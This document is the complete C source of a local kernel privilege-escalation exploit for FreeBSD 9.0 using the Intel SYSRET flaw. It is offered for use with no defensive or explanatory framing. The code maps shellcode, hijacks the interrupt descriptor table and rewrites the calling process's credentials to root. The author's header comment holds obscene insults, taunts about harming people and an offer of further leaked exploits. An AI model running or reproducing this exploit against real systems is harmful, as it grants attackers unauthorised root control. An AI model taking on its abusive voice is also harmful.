FreeBSD 9.0 – Intel SYSRET Kernel Privilege Escalation
/* * FreeBSD 9.0 Intel SYSRET Kernel Privilege Escalation exploit * Author by CurcolHekerLink * * This exploit based on open source project, I can make it open source too. Right? * * If you blaming me for open sourcing this exploit, you can fuck your mom. Free of charge :) * * Credits to KEPEDEAN Corp, Barisan Sakit Hati, ora iso sepaying meneh hekerlink, * Kismin perogeremer cyber team, petboylittledick, 1337 Curhat Crew and others at #MamaDedehEliteCurhatTeam * if you would like next private exploit leakage, just mention @MamahhDedeh * * Some people may feel harmed when we release this exploit :)) * * p.s: Met idul Adha ya besok, saatnya potong leher dewa lo... eh maksudnya potong Sapisisasi :)) * */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include <sys/mman.h> #include <machine/cpufunc.h> #define _WANT_UCRED #include <sys/proc.h> #include <machine/segments.h> #include <sys/param.h> #include <sys/linker.h> #define TRIGGERSIZE 20 #define BOUNCESIZE 18 uintptr_t Xdivp, Xdbgp, Xbptp, Xoflp, Xbndp, Xillp, Xdnap, Xfpusegmp, Xtssp, Xmissingp, Xstkp, Xprotp, Xpagep, Xfpup, Xalignp, Xmchkp, Xxmmp; struct gate_descriptor * sidt() { struct region_descriptor idt; asm ("sidt %0": "=m"(idt)); return (struct gate_descriptor*)idt.rd_base; } u_long matchsym(char *symname) { struct kld_sym_lookup ksym; ksym.version = sizeof (ksym); ksym.symname = symname; if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) { perror("kldsym"); exit(1); } return ksym.symvalue; } void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist) { struct gate_descriptor *ip; ip = idt + idx; ip->gd_looffset = func; ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL); ip->gd_ist = ist; ip->gd_xx = 0; ip->gd_type = typ; ip->gd_dpl = dpl; ip->gd_p = 1; ip->gd_hioffset = func>>16; } void payload() { printf("[+] Woohoo!!!\n"); exit(0); } void resetidt() { struct thread *td; struct ucred *cred; struct gate_descriptor *idt = sidt(); setidt(idt, IDT_DE, Xdivp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_DB, Xdbgp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_BP, Xbptp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_OF, Xoflp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_BR, Xbndp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_UD, Xillp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_NM, Xdnap, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_FPUGP, Xfpusegmp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_TS, Xtssp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_NP, Xmissingp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_SS, Xstkp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_GP, Xprotp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_PF, Xpagep, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_MF, Xfpup, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_AC, Xalignp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_MC, Xmchkp, SDT_SYSIGT, SEL_KPL, 0); setidt(idt, IDT_XF, Xxmmp, SDT_SYSIGT, SEL_KPL, 0); asm ("mov %%gs:0, %0" : "=r"(td)); cred = td->td_proc->p_ucred; cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0; cred->cr_groups[0] = 0; asm ("swapgs; sysretq;" :: "c"(payload)); } void resolving() { Xdivp = (uintptr_t)matchsym("Xdiv"); Xdbgp = (uintptr_t)matchsym("Xdbg"); Xbptp = (uintptr_t)matchsym("Xbpt"); Xoflp = (uintptr_t)matchsym("Xofl"); Xbndp = (uintptr_t)matchsym("Xbnd"); Xillp = (uintptr_t)matchsym("Xill"); Xdnap = (uintptr_t)matchsym("Xdna"); Xfpusegmp = (uintptr_t)matchsym("Xfpusegm"); Xtssp = (uintptr_t)matchsym("Xtss"); Xmissingp = (uintptr_t)matchsym("Xmissing"); Xstkp = (uintptr_t)matchsym("Xstk"); Xprotp = (uintptr_t)matchsym("Xprot"); Xpagep = (uintptr_t)matchsym("Xpage"); Xfpup = (uintptr_t)matchsym("Xfpu"); Xalignp = (uintptr_t)matchsym("Xalign"); Xmchkp = (uintptr_t)matchsym("Xmchk"); Xxmmp = (uintptr_t)matchsym("Xxmm"); } void trigger() { printf("[+] Crotz...\n"); uint64_t pagesize = getpagesize(); uint8_t * mappedarea = (uint8_t*)((1ULL << 47) - pagesize); mappedarea = mmap(mappedarea, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if (mappedarea == MAP_FAILED) { perror("mmap (trigger)"); exit(1); } char triggerpayload[] = "\xb8\x18\x00\x00\x00" "\x48\x89\xe3" "\x48\xbc\xef\xbe\xad\xde\xef\xbe\xad\xde" "\x0f\x05"; uint8_t * offset_addr = mappedarea + pagesize - TRIGGERSIZE; memcpy(offset_addr, triggerpayload, TRIGGERSIZE); *(uint64_t*)(offset_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8); printf("[+] Crotz...\n"); char bouncepayload[] = "\x0f\x01\xf8" "\x48\x89\xdc" "\x48\xb8\xef\xbe\xad\xde\xef\xbe\xad\xde" "\xff\xe0"; uint8_t * bouncer = (uint8_t*)(0x900000000 | (Xpagep & 0xFFFFFFFF)); size_t bouncer_allocsize = pagesize; if ((uint8_t*)((uint64_t)bouncer & ~(pagesize-1)) + pagesize < bouncer + BOUNCESIZE) bouncer_allocsize += pagesize; if (mmap((void*)((uint64_t)bouncer & ~(pagesize-1)), bouncer_allocsize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED) { perror("mmap (bouncer)"); exit(1); } memcpy(bouncer, bouncepayload, BOUNCESIZE); *(uint64_t*)(bouncer + 8) = (uint64_t)resetidt; ((void (*)())offset_addr)(); } int main(int argc, char *argv[]) { printf("[+] SYSRET FUCKUP!!\n"); printf("[+] Start Engine...\n"); resolving(); printf("[+] Crotz...\n"); trigger(); return 0; } |